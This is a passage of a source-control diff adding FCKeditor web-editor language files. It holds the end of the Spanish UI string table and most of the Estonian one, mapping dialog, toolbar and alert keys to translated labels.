+DlgGenLinkCharset	: "Fuente de caracteres vinculado",
+DlgGenStyle			: "Estilo",
+
+// Image Dialog
+DlgImgTitle			: "Propiedades de Imagen",
+DlgImgInfoTab		: "Información de Imagen",
+DlgImgBtnUpload		: "Enviar al Servidor",
+DlgImgURL			: "URL",
+DlgImgUpload		: "Cargar",
+DlgImgAlt			: "Texto Alternativo",
+DlgImgWidth			: "Anchura",
+DlgImgHeight		: "Altura",
+DlgImgLockRatio		: "Proporcional",
+DlgBtnResetSize		: "Tamaño Original",
+DlgImgBorder		: "Borde",
+DlgImgHSpace		: "Esp.Horiz",
+DlgImgVSpace		: "Esp.Vert",
+DlgImgAlign			: "Alineación",
+DlgImgAlignLeft		: "Izquierda",
+DlgImgAlignAbsBottom: "Abs inferior",
+DlgImgAlignAbsMiddle: "Abs centro",
+DlgImgAlignBaseline	: "Línea de base",
+DlgImgAlignBottom	: "Pie",
+DlgImgAlignMiddle	: "Centro",
+DlgImgAlignRight	: "Derecha",
+DlgImgAlignTextTop	: "Tope del texto",
+DlgImgAlignTop		: "Tope",
+DlgImgPreview		: "Vista Previa",
+DlgImgAlertUrl		: "Por favor tipee el URL de la imagen",
+DlgImgLinkTab		: "Vínculo",
+
+// Flash Dialog
+DlgFlashTitle		: "Propiedades de Flash",
+DlgFlashChkPlay		: "Autoejecución",
+DlgFlashChkLoop		: "Repetir",
+DlgFlashChkMenu		: "Activar Menú Flash",
+DlgFlashScale		: "Escala",
+DlgFlashScaleAll	: "Mostrar todo",
+DlgFlashScaleNoBorder	: "Sin Borde",
+DlgFlashScaleFit	: "Ajustado",
+
+// Link Dialog
+DlgLnkWindowTitle	: "Vínculo",
+DlgLnkInfoTab		: "Información de Vínculo",
+DlgLnkTargetTab		: "Destino",
+
+DlgLnkType			: "Tipo de vínculo",
+DlgLnkTypeURL		: "URL",
+DlgLnkTypeAnchor	: "Referencia en esta página",
+DlgLnkTypeEMail		: "E-Mail",
+DlgLnkProto			: "Protocolo",
+DlgLnkProtoOther	: "<otro>",
+DlgLnkURL			: "URL",
+DlgLnkAnchorSel		: "Seleccionar una referencia",
+DlgLnkAnchorByName	: "Por Nombre de Referencia",
+DlgLnkAnchorById	: "Por ID de elemento",
+DlgLnkNoAnchors		: "<No hay referencias disponibles en el documento>",
+DlgLnkEMail			: "Dirección de E-Mail",
+DlgLnkEMailSubject	: "Título del Mensaje",
+DlgLnkEMailBody		: "Cuerpo del Mensaje",
+DlgLnkUpload		: "Cargar",
+DlgLnkBtnUpload		: "Enviar al Servidor",
+
+DlgLnkTarget		: "Destino",
+DlgLnkTargetFrame	: "<marco>",
+DlgLnkTargetPopup	: "<ventana emergente>",
+DlgLnkTargetBlank	: "Nueva Ventana(_blank)",
+DlgLnkTargetParent	: "Ventana Padre (_parent)",
+DlgLnkTargetSelf	: "Misma Ventana (_self)",
+DlgLnkTargetTop		: "Ventana primaria (_top)",
+DlgLnkTargetFrameName	: "Nombre del Marco Destino",
+DlgLnkPopWinName	: "Nombre de Ventana Emergente",
+DlgLnkPopWinFeat	: "Características de Ventana Emergente",
+DlgLnkPopResize		: "Ajustable",
+DlgLnkPopLocation	: "Barra de ubicación",
+DlgLnkPopMenu		: "Barra de Menú",
+DlgLnkPopScroll		: "Barras de desplazamiento",
+DlgLnkPopStatus		: "Barra de Estado",
+DlgLnkPopToolbar	: "Barra de Herramientas",
+DlgLnkPopFullScrn	: "Pantalla Completa (IE)",
+DlgLnkPopDependent	: "Dependiente (Netscape)",
+DlgLnkPopWidth		: "Anchura",
+DlgLnkPopHeight		: "Altura",
+DlgLnkPopLeft		: "Posición Izquierda",
+DlgLnkPopTop		: "Posición Derecha",
+
+DlnLnkMsgNoUrl		: "Por favor tipee el vínculo URL",
+DlnLnkMsgNoEMail	: "Por favor tipee la dirección de e-mail",
+DlnLnkMsgNoAnchor	: "Por favor seleccione una referencia",
+DlnLnkMsgInvPopName	: "The popup name must begin with an alphabetic character and must not contain spaces",	//MISSING
+
+// Color Dialog
+DlgColorTitle		: "Seleccionar Color",
+DlgColorBtnClear	: "Ninguno",
+DlgColorHighlight	: "Resaltado",
+DlgColorSelected	: "Seleccionado",
+
+// Smiley Dialog
+DlgSmileyTitle		: "Insertar un Emoticon",
+
+// Special Character Dialog
+DlgSpecialCharTitle	: "Seleccione un caracter especial",
+
+// Table Dialog
+DlgTableTitle		: "Propiedades de Tabla",
+DlgTableRows		: "Filas",
+DlgTableColumns		: "Columnas",
+DlgTableBorder		: "Tamaño de Borde",
+DlgTableAlign		: "Alineación",
+DlgTableAlignNotSet	: "<No establecido>",
+DlgTableAlignLeft	: "Izquierda",
+DlgTableAlignCenter	: "Centrado",
+DlgTableAlignRight	: "Derecha",
+DlgTableWidth		: "Anchura",
+DlgTableWidthPx		: "pixeles",
+DlgTableWidthPc		: "porcentaje",
+DlgTableHeight		: "Altura",
+DlgTableCellSpace	: "Esp. e/celdas",
+DlgTableCellPad		: "Esp. interior",
+DlgTableCaption		: "Título",
+DlgTableSummary		: "Síntesis",
+
+// Table Cell Dialog
+DlgCellTitle		: "Propiedades de Celda",
+DlgCellWidth		: "Anchura",
+DlgCellWidthPx		: "pixeles",
+DlgCellWidthPc		: "porcentaje",
+DlgCellHeight		: "Altura",
+DlgCellWordWrap		: "Cortar Línea",
+DlgCellWordWrapNotSet	: "<No establecido>",
+DlgCellWordWrapYes	: "Si",
+DlgCellWordWrapNo	: "No",
+DlgCellHorAlign		: "Alineación Horizontal",
+DlgCellHorAlignNotSet	: "<No establecido>",
+DlgCellHorAlignLeft	: "Izquierda",
+DlgCellHorAlignCenter	: "Centrado",
+DlgCellHorAlignRight: "Derecha",
+DlgCellVerAlign		: "Alineación Vertical",
+DlgCellVerAlignNotSet	: "<Not establecido>",
+DlgCellVerAlignTop	: "Tope",
+DlgCellVerAlignMiddle	: "Medio",
+DlgCellVerAlignBottom	: "ie",
+DlgCellVerAlignBaseline	: "Línea de Base",
+DlgCellRowSpan		: "Abarcar Filas",
+DlgCellCollSpan		: "Abarcar Columnas",
+DlgCellBackColor	: "Color de Fondo",
+DlgCellBorderColor	: "Color de Borde",
+DlgCellBtnSelect	: "Seleccione...",
+
+// Find Dialog
+DlgFindTitle		: "Buscar",
+DlgFindFindBtn		: "Buscar",
+DlgFindNotFoundMsg	: "El texto especificado no ha sido encontrado.",
+
+// Replace Dialog
+DlgReplaceTitle			: "Reemplazar",
+DlgReplaceFindLbl		: "Texto a buscar:",
+DlgReplaceReplaceLbl	: "Reemplazar con:",
+DlgReplaceCaseChk		: "Coincidir may/min",
+DlgReplaceReplaceBtn	: "Reemplazar",
+DlgReplaceReplAllBtn	: "Reemplazar Todo",
+DlgReplaceWordChk		: "Coincidir toda la palabra",
+
+// Paste Operations / Dialog
+PasteErrorPaste	: "La configuración de seguridad de este navegador no permite la ejecución automática de operaciones de pegado. Por favor use el teclado (Ctrl+V).",
+PasteErrorCut	: "La configuración de seguridad de este navegador no permite la ejecución automática de operaciones de cortado. Por favor use el teclado (Ctrl+X).",
+PasteErrorCopy	: "La configuración de seguridad de este navegador no permite la ejecución automática de operaciones de copiado. Por favor use el teclado (Ctrl+C).",
+
+PasteAsText		: "Pegar como Texto Plano",
+PasteFromWord	: "Pegar desde Word",
+
+DlgPasteMsg2	: "Por favor pegue dentro del cuadro utilizando el teclado (<STRONG>Ctrl+V</STRONG>); luego presione <STRONG>OK</STRONG>.",
+DlgPasteIgnoreFont		: "Ignorar definiciones de fuentes",
+DlgPasteRemoveStyles	: "Remover definiciones de estilo",
+DlgPasteCleanBox		: "Borrar el contenido del cuadro",
+
+// Color Picker
+ColorAutomatic	: "Automático",
+ColorMoreColors	: "Más Colores...",
+
+// Document Properties
+DocProps		: "Propiedades del Documento",
+
+// Anchor Dialog
+DlgAnchorTitle		: "Propiedades de la Referencia",
+DlgAnchorName		: "Nombre de la Referencia",
+DlgAnchorErrorName	: "Por favor, complete el nombre de la Referencia",
+
+// Speller Pages Dialog
+DlgSpellNotInDic		: "No se encuentra en el Diccionario",
+DlgSpellChangeTo		: "Cambiar a",
+DlgSpellBtnIgnore		: "Ignorar",
+DlgSpellBtnIgnoreAll	: "Ignorar Todo",
+DlgSpellBtnReplace		: "Reemplazar",
+DlgSpellBtnReplaceAll	: "Reemplazar Todo",
+DlgSpellBtnUndo			: "Deshacer",
+DlgSpellNoSuggestions	: "- No hay sugerencias -",
+DlgSpellProgress		: "Control de Ortografía en progreso...",
+DlgSpellNoMispell		: "Control finalizado: no se encontraron errores",
+DlgSpellNoChanges		: "Control finalizado: no se ha cambiado ninguna palabra",
+DlgSpellOneChange		: "Control finalizado: se ha cambiado una palabra",
+DlgSpellManyChanges		: "Control finalizado: se ha cambiado %1 palabras",
+
+IeSpellDownload			: "Módulo de Control de Ortografía no instalado. ¿Desea descargarlo ahora?",
+
+// Button Dialog
+DlgButtonText		: "Texto (Valor)",
+DlgButtonType		: "Tipo",
+DlgButtonTypeBtn	: "Button",	//MISSING
+DlgButtonTypeSbm	: "Submit",	//MISSING
+DlgButtonTypeRst	: "Reset",	//MISSING
+
+// Checkbox and Radio Button Dialogs
+DlgCheckboxName		: "Nombre",
+DlgCheckboxValue	: "Valor",
+DlgCheckboxSelected	: "Seleccionado",
+
+// Form Dialog
+DlgFormName		: "Nombre",
+DlgFormAction	: "Acción",
+DlgFormMethod	: "Método",
+
+// Select Field Dialog
+DlgSelectName		: "Nombre",
+DlgSelectValue		: "Valor",
+DlgSelectSize		: "Tamaño",
+DlgSelectLines		: "Lineas",
+DlgSelectChkMulti	: "Permitir múltiple selección",
+DlgSelectOpAvail	: "Opciones disponibles",
+DlgSelectOpText		: "Texto",
+DlgSelectOpValue	: "Valor",
+DlgSelectBtnAdd		: "Agregar",
+DlgSelectBtnModify	: "Modificar",
+DlgSelectBtnUp		: "Subir",
+DlgSelectBtnDown	: "Bajar",
+DlgSelectBtnSetValue : "Establecer como predeterminado",
+DlgSelectBtnDelete	: "Eliminar",
+
+// Textarea Dialog
+DlgTextareaName	: "Nombre",
+DlgTextareaCols	: "Columnas",
+DlgTextareaRows	: "Filas",
+
+// Text Field Dialog
+DlgTextName			: "Nombre",
+DlgTextValue		: "Valor",
+DlgTextCharWidth	: "Caracteres de ancho",
+DlgTextMaxChars		: "Máximo caracteres",
+DlgTextType			: "Tipo",
+DlgTextTypeText		: "Texto",
+DlgTextTypePass		: "Contraseña",
+
+// Hidden Field Dialog
+DlgHiddenName	: "Nombre",
+DlgHiddenValue	: "Valor",
+
+// Bulleted List Dialog
+BulletedListProp	: "Propiedades de Viñetas",
+NumberedListProp	: "Propiedades de Numeraciones",
+DlgLstStart			: "Start",	//MISSING
+DlgLstType			: "Tipo",
+DlgLstTypeCircle	: "Círculo",
+DlgLstTypeDisc		: "Disco",
+DlgLstTypeSquare	: "Cuadrado",
+DlgLstTypeNumbers	: "Números (1, 2, 3)",
+DlgLstTypeLCase		: "letras en minúsculas (a, b, c)",
+DlgLstTypeUCase		: "letras en mayúsculas (A, B, C)",
+DlgLstTypeSRoman	: "Números Romanos (i, ii, iii)",
+DlgLstTypeLRoman	: "Números Romanos (I, II, III)",
+
+// Document Properties Dialog
+DlgDocGeneralTab	: "General",
+DlgDocBackTab		: "Fondo",
+DlgDocColorsTab		: "Colores y Márgenes",
+DlgDocMetaTab		: "Meta Información",
+
+DlgDocPageTitle		: "Título de Página",
+DlgDocLangDir		: "Orientación de idioma",
+DlgDocLangDirLTR	: "Izq. a Derecha (LTR)",
+DlgDocLangDirRTL	: "Der. a Izquierda (RTL)",
+DlgDocLangCode		: "Código de Idioma",
+DlgDocCharSet		: "Codif. de Conjunto de Caracteres",
+DlgDocCharSetCE		: "Central European",	//MISSING
+DlgDocCharSetCT		: "Chinese Traditional (Big5)",	//MISSING
+DlgDocCharSetCR		: "Cyrillic",	//MISSING
+DlgDocCharSetGR		: "Greek",	//MISSING
+DlgDocCharSetJP		: "Japanese",	//MISSING
+DlgDocCharSetKR		: "Korean",	//MISSING
+DlgDocCharSetTR		: "Turkish",	//MISSING
+DlgDocCharSetUN		: "Unicode (UTF-8)",	//MISSING
+DlgDocCharSetWE		: "Western European",	//MISSING
+DlgDocCharSetOther	: "Otra Codificación",
+
+DlgDocDocType		: "Encabezado de Tipo de Documento",
+DlgDocDocTypeOther	: "Otro Encabezado",
+DlgDocIncXHTML		: "Incluir Declaraciones XHTML",
+DlgDocBgColor		: "Color de Fondo",
+DlgDocBgImage		: "URL de Imagen de Fondo",
+DlgDocBgNoScroll	: "Fondo sin rolido",
+DlgDocCText			: "Texto",
+DlgDocCLink			: "Vínculo",
+DlgDocCVisited		: "Vínculo Visitado",
+DlgDocCActive		: "Vínculo Activo",
+DlgDocMargins		: "Márgenes de Página",
+DlgDocMaTop			: "Tope",
+DlgDocMaLeft		: "Izquierda",
+DlgDocMaRight		: "Derecha",
+DlgDocMaBottom		: "Pie",
+DlgDocMeIndex		: "Claves de indexación del Documento (separados por comas)",
+DlgDocMeDescr		: "Descripción del Documento",
+DlgDocMeAuthor		: "Autor",
+DlgDocMeCopy		: "Copyright",
+DlgDocPreview		: "Vista Previa",
+
+// Templates Dialog
+Templates			: "Plantillas",
+DlgTemplatesTitle	: "Contenido de Plantillas",
+DlgTemplatesSelMsg	: "Por favor selecciona la plantilla a abrir en el editor<br>(el contenido actual se perderá):",
+DlgTemplatesLoading	: "Cargando lista de Plantillas. Por favor, aguarde...",
+DlgTemplatesNoTpl	: "(No hay plantillas definidas)",
+DlgTemplatesReplace	: "Replace actual contents",	//MISSING
+
+// About Dialog
+DlgAboutAboutTab	: "Acerca de",
+DlgAboutBrowserInfoTab	: "Información de Navegador",
+DlgAboutLicenseTab	: "Licencia",
+DlgAboutVersion		: "versión",
+DlgAboutLicense		: "Licenciado bajo los términos de GNU Lesser General Public License",
+DlgAboutInfo		: "Para mayor información por favor dirigirse a"
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/et.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/et.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/et.js	(revision 44)
@@ -0,0 +1,502 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: et.js
+ * 	Estonian language file.
+ * 
+ * File Authors:
+ * 		Kristjan Kivikangur (kristjan@ttrk.ee)
+ * 		Gustav Kaskema
+ */
+
+var FCKLang =
+{
+// Language direction : "ltr" (left to right) or "rtl" (right to left).
+Dir					: "ltr",
+
+ToolbarCollapse		: "Voldi tööriistariba",
+ToolbarExpand		: "Laienda tööriistariba",
+
+// Toolbar Items and Context Menu
+Save				: "Salvesta",
+NewPage				: "Uus leht",
+Preview				: "Eelvaade",
+Cut					: "Lõika",
+Copy				: "Kopeeri",
+Paste				: "Kleebi",
+PasteText			: "Kleebi tavalise tekstina",
+PasteWord			: "Kleebi Wordist",
+Print				: "Prindi",
+SelectAll			: "Vali kõik",
+RemoveFormat		: "Eemalda vorming",
+InsertLinkLbl		: "Link",
+InsertLink			: "Sisesta/Muuda link",
+RemoveLink			: "Eemalda link",
+Anchor				: "Sisesta/Muuda ankur",
+InsertImageLbl		: "Pilt",
+InsertImage			: "Sisesta/Muuda pilt",
+InsertFlashLbl		: "Flash",
+InsertFlash			: "Sisesta/Muuda flash",
+InsertTableLbl		: "Tabel",
+InsertTable			: "Sisesta/Muuda tabel",
+InsertLineLbl		: "Joon",
+InsertLine			: "Sisesta horisontaaljoon",
+InsertSpecialCharLbl: "Erimärgid",
+InsertSpecialChar	: "Sisesta erimärk",
+InsertSmileyLbl		: "Emotikon",
+InsertSmiley		: "Sisesta emotikon",
+About				: "FCKeditor teave",
+Bold				: "Rasvane kiri",
+Italic				: "Kursiiv kiri",
+Underline			: "Allajoonitud kiri",
+StrikeThrough		: "Läbijoonitud kiri",
+Subscript			: "Allindeks",
+Superscript			: "Ülaindeks",
+LeftJustify			: "Vasakjoondus",
+CenterJustify		: "Keskjoondus",
+RightJustify		: "Paremjoondus",
+BlockJustify		: "Rööpjoondus",
+DecreaseIndent		: "Vähenda taanet",
+IncreaseIndent		: "Suurenda taanet",
+Undo				: "Võta tagasi",
+Redo				: "Korda toimingut",
+NumberedListLbl		: "Nummerdatud loetelu",
+NumberedList		: "Sisesta/Eemalda nummerdatud loetelu",
+BulletedListLbl		: "Punktiseeritud loetelu",
+BulletedList		: "Sisesta/Eemalda punktiseeritud loetelu",
+ShowTableBorders	: "Näita tabeli jooni",
+ShowDetails			: "Näita üksikasju",
+Style				: "Laad",
+FontFormat			: "Vorming",
+Font				: "Kiri",
+FontSize			: "Suurus",
+TextColor			: "Teksti värv",
+BGColor				: "Tausta värv",
+Source				: "Lähtekood",
+Find				: "Otsi",
+Replace				: "Asenda",
+SpellCheck			: "Kontrolli õigekirja",
+UniversalKeyboard	: "Universaalne klaviatuur",
+PageBreakLbl		: "Lehepiir",
+PageBreak			: "Sisesta lehevahetus koht",
+
+Form			: "Vorm",
+Checkbox		: "Märkeruut",
+RadioButton		: "Raadionupp",
+TextField		: "Tekstilahter",
+Textarea		: "Tekstiala",
+HiddenField		: "Varjatud lahter",
+Button			: "Nupp",
+SelectionField	: "Valiklahter",
+ImageButton		: "Piltnupp",
+
+FitWindow		: "Maksimeeri redaktori mõõtmed",
+
+// Context Menu
+EditLink			: "Muuda linki",
+CellCM				: "Lahter",
+RowCM				: "Rida",
+ColumnCM			: "Veerg",
+InsertRow			: "Lisa rida",
+DeleteRows			: "Eemalda ridu",
+InsertColumn		: "Lisa veerg",
+DeleteColumns		: "Eemalda veerud",
+InsertCell			: "Lisa lahter",
+DeleteCells			: "Eemalda lahtrid",
+MergeCells			: "Ühenda lahtrid",
+SplitCell			: "Lahuta lahtrid",
+TableDelete			: "Kustuta tabel",
+CellProperties		: "Lahtri atribuudid",
+TableProperties		: "Tabeli atribuudid",
+ImageProperties		: "Pildi  atribuudid",
+FlashProperties		: "Flash omadused",
+
+AnchorProp			: "Ankru omadused",
+ButtonProp			: "Nupu omadused",
+CheckboxProp		: "Märkeruudu omadused",
+HiddenFieldProp		: "Varjatud lahtri omadused",
+RadioButtonProp		: "Raadionupu omadused",
+ImageButtonProp		: "Piltnupu omadused",
+TextFieldProp		: "Tekstilahtri omadused",
+SelectionFieldProp	: "Valiklahtri omadused",
+TextareaProp		: "Tekstiala omadused",
+FormProp			: "Vormi omadused",
+
+FontFormats			: "Tavaline;Vormindatud;Aadress;Pealkiri 1;Pealkiri 2;Pealkiri 3;Pealkiri 4;Pealkiri 5;Pealkiri 6",
+
+// Alerts and Messages
+ProcessingXHTML		: "Töötlen XHTML. Palun oota...",
+Done				: "Tehtud",
+PasteWordConfirm	: "Tekst, mida soovid lisada paistab pärinevat Wordist. Kas soovid seda enne kleepimist puhastada?",
+NotCompatiblePaste	: "See käsk on saadaval ainult Internet Explorer versioon 5.5 või uuema puhul. Kas soovid kleepida ilma puhastamata?",
+UnknownToolbarItem	: "Tundmatu tööriistariba üksus \"%1\"",
+UnknownCommand		: "Tundmatu käsunimi \"%1\"",
+NotImplemented		: "Käsku ei täidetud",
+UnknownToolbarSet	: "Tööriistariba \"%1\" ei eksisteeri",
+NoActiveX			: "Sinu interneti sirvija turvalisuse seaded võivad limiteerida mõningaid tekstirdaktori kasutus võimalusi. Sa peaksid võimaldama valiku \"Run ActiveX controls and plug-ins\" oma sirvija seadetes. Muidu võid sa täheldada vigu tekstiredaktori töös ja märgata puuduvaid funktsioone.",
+BrowseServerBlocked : "Ressursside sirvija avamine ebaõnnestus. Võimalda pop-up akende avanemine.",
+DialogBlocked		: "Ei olenud võimalik avada dialoogi akent. Võimalda pop-up akende avanemine.",
+
+// Dialogs
+DlgBtnOK			: "OK",
+DlgBtnCancel		: "Loobu",
+DlgBtnClose			: "Sulge",
+DlgBtnBrowseServer	: "Sirvi serverit",
+DlgAdvancedTag		: "Täpsemalt",
+DlgOpOther			: "<Teine>",
+DlgInfoTab			: "Info",
+DlgAlertUrl			: "Palun sisesta URL",
+
+// General Dialogs Labels
+DlgGenNotSet		: "<määramata>",
+DlgGenId			: "Id",
+DlgGenLangDir		: "Keele suund",
+DlgGenLangDirLtr	: "Vasakult paremale (LTR)",
+DlgGenLangDirRtl	: "Paremalt vasakule (RTL)",
+DlgGenLangCode		: "Keele kood",
+DlgGenAccessKey		: "Juurdepääsu võti",
+DlgGenName			: "Nimi",
+DlgGenTabIndex		: "Tab indeks",
+DlgGenLongDescr		: "Pikk kirjeldus URL",
+DlgGenClass			: "Stiilistiku klassid",
+DlgGenTitle			: "Juhendav tiitel",
+DlgGenContType		: "Juhendava sisu tüüp",
+DlgGenLinkCharset	: "Lingitud ressurssi märgistik",
+DlgGenStyle			: "Laad",
+
+// Image Dialog
+DlgImgTitle			: "Pildi atribuudid",
+DlgImgInfoTab		: "Pildi info",
+DlgImgBtnUpload		: "Saada serverissee",
+DlgImgURL			: "URL",
+DlgImgUpload		: "Lae üles",
+DlgImgAlt			: "Alternatiivne tekst",
+DlgImgWidth			: "Laius",
+DlgImgHeight		: "Kõrgus",
+DlgImgLockRatio		: "Lukusta kuvasuhe",
+DlgBtnResetSize		: "Lähtesta suurus",
+DlgImgBorder		: "Joon",
+DlgImgHSpace		: "H. vaheruum",
+DlgImgVSpace		: "V. vaheruum",
+DlgImgAlign			: "Joondus",
+DlgImgAlignLeft		: "Vasak",
+DlgImgAlignAbsBottom: "Abs alla",
+DlgImgAlignAbsMiddle: "Abs keskele",
+DlgImgAlignBaseline	: "Baasjoonele",
+DlgImgAlignBottom	: "Alla",
+DlgImgAlignMiddle	: "Keskele",
+DlgImgAlignRight	: "Paremale",
+DlgImgAlignTextTop	: "Tekstit üles",
+DlgImgAlignTop		: "Üles",
+DlgImgPreview		: "Eelvaade",
+DlgImgAlertUrl		: "Palun kirjuta pildi URL",
+DlgImgLinkTab		: "Link",
+
+// Flash Dialog
+DlgFlashTitle		: "Flash omadused",
+DlgFlashChkPlay		: "Automaatne start ",
+DlgFlashChkLoop		: "Korduv",
+DlgFlashChkMenu		: "Võimalda flash menüü",
+DlgFlashScale		: "Mastaap",
+DlgFlashScaleAll	: "Näita kõike",
+DlgFlashScaleNoBorder	: "Äärist ei ole",
+DlgFlashScaleFit	: "Täpne sobivus",
+
+// Link Dialog
+DlgLnkWindowTitle	: "Link",
+DlgLnkInfoTab		: "Lingi info",
+DlgLnkTargetTab		: "Sihtkoht",
+
+DlgLnkType			: "Lingi tüüp",
+DlgLnkTypeURL		: "URL",
+DlgLnkTypeAnchor	: "Ankur sellel lehel",
+DlgLnkTypeEMail		: "E-post",
+DlgLnkProto			: "Protokoll",
+DlgLnkProtoOther	: "<muu>",
+DlgLnkURL			: "URL",
+DlgLnkAnchorSel		: "Vali ankur",
+DlgLnkAnchorByName	: "Ankru nime järgi",
+DlgLnkAnchorById	: "Elemendi id järgi",
+DlgLnkNoAnchors		: "<Selles dokumendis ei ole ankruid>",
+DlgLnkEMail			: "E-posti aadress",
+DlgLnkEMailSubject	: "Sõnumi teema",
+DlgLnkEMailBody		: "Sõnumi tekst",
+DlgLnkUpload		: "Lae üles",
+DlgLnkBtnUpload		: "Saada serverisse",
+
+DlgLnkTarget		: "Sihtkoht",
+DlgLnkTargetFrame	: "<raam>",
+DlgLnkTargetPopup	: "<hüpikaken>",
+DlgLnkTargetBlank	: "Uus aken (_blank)",
+DlgLnkTargetParent	: "Vanem aken (_parent)",
+DlgLnkTargetSelf	: "Sama aken (_self)",
+DlgLnkTargetTop		: "Pealmine aken (_top)",
+DlgLnkTargetFrameName	: "Sihtmärk raami nimi",
+DlgLnkPopWinName	: "Hüpikakna nimi",
+DlgLnkPopWinFeat	: "Hüpikakna omadused",
+DlgLnkPopResize		: "Suurendatav",
+DlgLnkPopLocation	: "Aadressiriba",
+DlgLnkPopMenu		: "Menüüriba",
+DlgLnkPopScroll		: "Kerimisribad",
+DlgLnkPopStatus		: "Olekuriba",
+DlgLnkPopToolbar	: "Tööriistariba",
+DlgLnkPopFullScrn	: "Täisekraan (IE)",
+DlgLnkPopDependent	: "Sõltuv (Netscape)",
+DlgLnkPopWidth		: "Laius",
+DlgLnkPopHeight		: "Kõrgus",
+DlgLnkPopLeft		: "Vasak asukoht",
+DlgLnkPopTop		: "Ülemine asukoht",
+
+DlnLnkMsgNoUrl		: "Palun kirjuta lingi URL",
+DlnLnkMsgNoEMail	: "Palun kirjuta E-Posti aadress",
+DlnLnkMsgNoAnchor	: "Palun vali ankur",
+DlnLnkMsgInvPopName	: "The popup name must begin with an alphabetic character and must not contain spaces",	//MISSING
+
+// Color Dialog
+DlgColorTitle		: "Vali värv",
+DlgColorBtnClear	: "Tühjenda",
+DlgColorHighlight	: "Märgi",
+DlgColorSelected	: "Valitud",
+
+// Smiley Dialog
+DlgSmileyTitle		: "Sisesta emotikon",
+
+// Special Character Dialog
+DlgSpecialCharTitle	: "Vali erimärk",
+
+// Table Dialog
+DlgTableTitle		: "Tabeli atribuudid",
+DlgTableRows		: "Read",
+DlgTableColumns		: "Veerud",
+DlgTableBorder		: "Joone suurus",
+DlgTableAlign		: "Joondus",
+DlgTableAlignNotSet	: "<Määramata>",
+DlgTableAlignLeft	: "Vasak",
+DlgTableAlignCenter	: "Kesk",
+DlgTableAlignRight	: "Parem",
+DlgTableWidth		: "Laius",
+DlgTableWidthPx		: "pikslit",
+DlgTableWidthPc		: "protsenti",
+DlgTableHeight		: "Kõrgus",
+DlgTableCellSpace	: "Lahtri vahe",
+DlgTableCellPad		: "Lahtri täidis",
+DlgTableCaption		: "Tabeli tiitel",
+DlgTableSummary		: "Kokkuvõte",
+
+// Table Cell Dialog
+DlgCellTitle		: "Lahtri atribuudid",
+DlgCellWidth		: "Laius",
+DlgCellWidthPx		: "pikslit",
+DlgCellWidthPc		: "protsenti",
+DlgCellHeight		: "Kõrgus",
+DlgCellWordWrap		: "Sõna ülekanne",
+DlgCellWordWrapNotSet	: "<Määramata>",
+DlgCellWordWrapYes	: "Jah",
+DlgCellWordWrapNo	: "Ei",
+DlgCellHorAlign		: "Horisontaaljoondus",
+DlgCellHorAlignNotSet	: "<Määramata>",
+DlgCellHorAlignLeft	: "Vasak",
+DlgCellHorAlignCenter	: "Kesk",
+DlgCellHorAlignRight: "Parem",
+DlgCellVerAlign		: "Vertikaaljoondus",
+DlgCellVerAlignNotSet	: "<Määramata>",
+DlgCellVerAlignTop	: "Üles",
+DlgCellVerAlignMiddle	: "Keskele",
+DlgCellVerAlignBottom	: "Alla",
+DlgCellVerAlignBaseline	: "Baasjoonele",
+DlgCellRowSpan		: "Reaulatus",
+DlgCellCollSpan		: "Veeruulatus",
+DlgCellBackColor	: "Tausta värv",
+DlgCellBorderColor	: "Joone värv",
+DlgCellBtnSelect	: "Vali...",
+
+// Find Dialog
+DlgFindTitle		: "Otsi",
+DlgFindFindBtn		: "Otsi",
+DlgFindNotFoundMsg	: "Valitud teksti ei leitud.",
+
+// Replace Dialog
+DlgReplaceTitle			: "Asenda",
+DlgReplaceFindLbl		: "Leia mida:",
+DlgReplaceReplaceLbl	: "Asenda millega:",
+DlgReplaceCaseChk		: "Erista suur- ja väiketähti",
+DlgReplaceReplaceBtn	: "Asenda",
+DlgReplaceReplAllBtn	: "Asenda kõik",
+DlgReplaceWordChk		: "Otsi terviklike sõnu",
+
+// Paste Operations / Dialog
+PasteErrorPaste	: "Sinu interneti sirvija turvaseaded ei luba redaktoril automaatselt kleepida. Palun kasutage selleks klaviatuuri klahvikombinatsiooni (Ctrl+V).",
+PasteErrorCut	: "Sinu interneti sirvija turvaseaded ei luba redaktoril automaatselt lõigata. Palun kasutage selleks klaviatuuri klahvikombinatsiooni (Ctrl+X).",
+PasteErrorCopy	: "Sinu interneti sirvija turvaseaded ei luba redaktoril automaatselt kopeerida. Palun kasutage selleks klaviatuuri klahvikombinatsiooni (Ctrl+C).",
+
+PasteAsText		: "Kleebi tavalise tekstina",
+PasteFromWord	: "Kleebi Wordist",
+
+DlgPasteMsg2	: "Palun kleebi järgnevasse kasti kasutades klaviatuuri klahvikombinatsiooni (<STRONG>Ctrl+V</STRONG>) ja vajuta seejärel <STRONG>OK</STRONG>.",
+DlgPasteIgnoreFont		: "Ignoreeri kirja definitsioone",
+DlgPasteRemoveStyles	: "Eemalda stiilide definitsioonid",
+DlgPasteCleanBox		: "Puhasta ära kast",
+
+// Color Picker
+ColorAutomatic	: "Automaatne",
+ColorMoreColors	: "Rohkem värve...",
+
+// Document Properties
+DocProps		: "Dokumendi omadused",
+
+// Anchor Dialog
+DlgAnchorTitle		: "Ankru omadused",
+DlgAnchorName		: "Ankru nimi",
+DlgAnchorErrorName	: "Palun sisest ankru nimi",
+
+// Speller Pages Dialog
+DlgSpellNotInDic		: "Puudub sõnastikust",
+DlgSpellChangeTo		: "Muuda",
+DlgSpellBtnIgnore		: "Ignoreeri",
+DlgSpellBtnIgnoreAll	: "Ignoreeri kõiki",
+DlgSpellBtnReplace		: "Asenda",
+DlgSpellBtnReplaceAll	: "Asenda kõik",
+DlgSpellBtnUndo			: "Võta tagasi",
+DlgSpellNoSuggestions	: "- Soovitused puuduvad -",
+DlgSpellProgress		: "Toimub õigekirja kontroll...",
+DlgSpellNoMispell		: "Õigekirja kontroll sooritatud: õigekirjuvigu ei leitud",
+DlgSpellNoChanges		: "Õigekirja kontroll sooritatud: ühtegi sõna ei muudetud",
